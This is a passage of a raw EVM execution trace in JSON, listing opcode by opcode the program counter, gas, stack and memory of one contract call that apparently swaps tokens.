000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3023,"op":"PUSH1","gas":99126,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3025,"op":"DUP2","gas":99123,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x100","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3026,"op":"MLOAD","gas":99120,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x100","0x0","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3027,"op":"DUP2","gas":99117,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x100","0x0","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3028,"op":"LT","gas":99114,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x100","0x0","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3029,"op":"PUSH2","gas":99111,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x100","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3032,"op":"JUMPI","gas":99108,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x100","0x0","0x1","0xbe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3040,"op":"JUMPDEST","gas":99098,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x100","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3041,"op":"PUSH1","gas":99097,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x100","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3043,"op":"MUL","gas":99094,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x100","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3044,"op":"PUSH1","gas":99089,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x100","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3046,"op":"ADD","gas":99086,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x100","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3047,"op":"ADD","gas":99083,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x100","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3048,"op":"MLOAD","gas":99080,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x120"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3049,"op":"PUSH2","gas":99077,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3052,"op":"JUMP","gas":99074,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e6a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":11882,"op":"JUMPDEST","gas":99066,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":11883,"op":"PUSH2","gas":99065,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":11886,"op":"PUSH1","gas":99062,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":11888,"op":"PUSH1","gas":99059,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0